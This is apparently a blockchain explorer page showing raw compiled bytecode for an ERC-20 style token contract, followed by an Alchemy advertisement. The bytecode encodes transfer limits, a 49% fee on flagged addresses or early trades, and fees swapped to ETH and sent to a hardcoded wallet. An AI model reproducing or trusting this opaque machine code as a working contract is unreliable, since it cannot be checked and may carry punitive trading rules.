2e91906128f2565b905061123981611af5565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a490612995565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561131d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131490612a27565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113fb9190612190565b60405180910390a3505050565b82600860019054906101000a900460ff168061146f57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b806114b9575073fb2cdfbb61df9bde8b89f3b28ecaf24f56030d1473ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b80611503575073b7550135066f1fa098dbd3bb6adee7804ab7010873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b61150c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561157c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157390612ab9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e390612b4b565b60405180910390fd5b6000821161162f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162690612bdd565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461167e91906125ce565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611701575073fb2cdfbb61df9bde8b89f3b28ecaf24f56030d1473ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561174d575073b7550135066f1fa098dbd3bb6adee7804ab7010873ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611799575073b7550135066f1fa098dbd3bb6adee7804ab7010873ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117f157507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611a34577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156118915750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611934576004548211156118db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d290612c6f565b60405180910390fd5b600554826118e8856108fc565b6118f2919061266e565b1115611933576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192a90612d01565b60405180910390fd5b5b600061193f306108fc565b905061194b8582611d41565b1561195a5761195981611af5565b5b60006119668685611dc5565b9050808461197491906125ce565b935080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546119c5919061266e565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a299190612190565b60405180910390a350505b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611a83919061266e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ae79190612190565b60405180910390a350505050565b6001600860006101000a81548160ff021916908315150217905550611b1981611ed7565b905080611b3a30737a250d5630b4cf539739df2c5dacb4c659f2488d611123565b1015611b6757611b6630737a250d5630b4cf539739df2c5dacb4c659f2488d662386f26fc1000061123d565b5b60004790506000600267ffffffffffffffff811115611b8957611b88612d21565b5b604051908082528060200260200182016040528015611bb75781602001602082028036833780820191505090505b5090503081600081518110611bcf57611bce61283a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000081600181518110611c3e57611c3d61283a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b8152600401611cce959493929190612e53565b600060405180830381600087803b158015611ce857600080fd5b505af1158015611cfc573d6000803e3d6000fd5b505050508147611d0c91906125ce565b91506000821115611d2157611d2082611f3c565b5b50506000600860006101000a81548160ff02191690831515021790555050565b6000600860009054906101000a900460ff16158015611dac57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611dbd5750651b48eb57e00082115b905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e2157506009544311155b15611e46576064603183611e359190612869565b611e3f91906128f2565b9050611ed1565b6064600060095414611eb6577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614611ead57600754611eb1565b6006545b611eb9565b600f5b83611ec49190612869565b611ece91906128f2565b90505b92915050565b600065b5e620f480008211611ef257651b48eb57e000611f35565b436009546003611f02919061266e565b1015611f145765b5e620f48000611f34565b600465b5e620f480006005611f299190612869565b611f3391906128f2565b5b5b9050919050565b73b7550135066f1fa098dbd3bb6adee7804ab7010873ffffffffffffffffffffffffffffffffffffffff166108fc6003836002611f799190612869565b611f8391906128f2565b9081150290604051600060405180830381858888f19350505050158015611fae573d6000803e3d6000fd5b5050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611fec578082015181840152602081019050611fd1565b83811115611ffb576000848401525b50505050565b6000601f19601f8301169050919050565b600061201d82611fb2565b6120278185611fbd565b9350612037818560208601611fce565b61204081612001565b840191505092915050565b600060208201905081810360008301526120658184612012565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006120a282612077565b9050919050565b6120b281612097565b81146120bd57600080fd5b50565b6000813590506120cf816120a9565b92915050565b6000819050919050565b6120e8816120d5565b81146120f357600080fd5b50565b600081359050612105816120df565b92915050565b600080604083850312156121225761212161206d565b5b6000612130858286016120c0565b9250506020612141858286016120f6565b9150509250929050565b60008115159050919050565b6121608161214b565b82525050565b600060208201905061217b6000830184612157565b92915050565b61218a816120d5565b82525050565b60006020820190506121a56000830184612181565b92915050565b6000602082840312156121c1576121c061206d565b5b60006121cf848285016120c0565b91505092915050565b6000806000606084860312156121f1576121f061206d565b5b60006121ff868287016120c0565b9350506020612210868287016120c0565b9250506040612221868287016120f6565b9150509250925092565b600060ff82169050919050565b6122418161222b565b82525050565b600060208201905061225c6000830184612238565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261228757612286612262565b5b8235905067ffffffffffffffff8111156122a4576122a3612267565b5b6020830191508360208202830111156122c0576122bf61226c565b5b9250929050565b6000806000604084860312156122e0576122df61206d565b5b600084013567ffffffffffffffff8111156122fe576122fd612072565b5b61230a86828701612271565b9350935050602061231d868287016120f6565b9150509250925092565b61233081612097565b82525050565b600060208201905061234b6000830184612327565b92915050565b600080604083850312156123685761236761206d565b5b6000612376858286016120f6565b9250506020612387858286016120f6565b9150509250929050565b60008083601f8401126123a7576123a6612262565b5b8235905067ffffffffffffffff8111156123c4576123c3612267565b5b6020830191508360208202830111156123e0576123df61226c565b5b9250929050565b6123f08161214b565b81146123fb57600080fd5b50565b60008135905061240d816123e7565b92915050565b60008060006040848603121561242c5761242b61206d565b5b600084013567ffffffffffffffff81111561244a57612449612072565b5b61245686828701612391565b93509350506020612469868287016123fe565b9150509250925092565b6000602082840312156124895761248861206d565b5b6000612497848285016123fe565b91505092915050565b600080604083850312156124b7576124b661206d565b5b60006124c5858286016120c0565b92505060206124d6858286016120c0565b9150509250929050565b6000602082840312156124f6576124f561206d565b5b6000612504848285016120f6565b91505092915050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000612569602883611fbd565b91506125748261250d565b604082019050919050565b600060208201905081810360008301526125988161255c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006125d9826120d5565b91506125e4836120d5565b9250828210156125f7576125f661259f565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612638602083611fbd565b915061264382612602565b602082019050919050565b600060208201905081810360008301526126678161262b565b9050919050565b6000612679826120d5565b9150612684836120d5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126b9576126b861259f565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b60006126fe826120d5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156127315761273061259f565b5b600182019050919050565b7f546f6b656e3a206f6e6c792066656520726564756374696f6e207065726d697460008201527f7465640000000000000000000000000000000000000000000000000000000000602082015250565b6000612798602383611fbd565b91506127a38261273c565b604082019050919050565b600060208201905081810360008301526127c78161278b565b9050919050565b7f546f6b656e3a2074726164696e6720616c7265616479206f70656e0000000000600082015250565b6000612804601b83611fbd565b915061280f826127ce565b602082019050919050565b60006020820190508181036000830152612833816127f7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612874826120d5565b915061287f836120d5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156128b8576128b761259f565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006128fd826120d5565b9150612908836120d5565b925082612918576129176128c3565b5b828204905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061297f602483611fbd565b915061298a82612923565b604082019050919050565b600060208201905081810360008301526129ae81612972565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612a11602283611fbd565b9150612a1c826129b5565b604082019050919050565b60006020820190508181036000830152612a4081612a04565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612aa3602583611fbd565b9150612aae82612a47565b604082019050919050565b60006020820190508181036000830152612ad281612a96565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612b35602383611fbd565b9150612b4082612ad9565b604082019050919050565b60006020820190508181036000830152612b6481612b28565b9050919050565b7f546f6b656e3a207472616e7366657220616d6f756e74206d757374206265206760008201527f726561746572207468616e207a65726f00000000000000000000000000000000602082015250565b6000612bc7603083611fbd565b9150612bd282612b6b565b604082019050919050565b60006020820190508181036000830152612bf681612bba565b9050919050565b7f546f6b656e3a206d6178207472616e73616374696f6e20616d6f756e7420726560008201527f737472696374696f6e0000000000000000000000000000000000000000000000602082015250565b6000612c59602983611fbd565b9150612c6482612bfd565b604082019050919050565b60006020820190508181036000830152612c8881612c4c565b9050919050565b7f546f6b656e3a206d61782077616c6c657420616d6f756e74207265737472696360008201527f74696f6e00000000000000000000000000000000000000000000000000000000602082015250565b6000612ceb602483611fbd565b9150612cf682612c8f565b604082019050919050565b60006020820190508181036000830152612d1a81612cde565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b6000819050919050565b6000612d7f612d7a612d7584612d50565b612d5a565b6120d5565b9050919050565b612d8f81612d64565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612dca81612097565b82525050565b6000612ddc8383612dc1565b60208301905092915050565b6000602082019050919050565b6000612e0082612d95565b612e0a8185612da0565b9350612e1583612db1565b8060005b83811015612e46578151612e2d8882612dd0565b9750612e3883612de8565b925050600181019050612e19565b5085935050505092915050565b600060a082019050612e686000830188612181565b612e756020830187612d86565b8181036040830152612e878186612df5565b9050612e966060830185612327565b612ea36080830184612181565b969550505050505056fea2646970667358221220ccb4ee397d42cd2b1a7465b1a7b6b499895b7d35665836059d654bee369d043864736f6c634300080a0033

Check out more smart contracts

Build blockchain magic with Alchemy

Alchemy combines the most powerful web3 developer products and tools with resources, community and legendary support.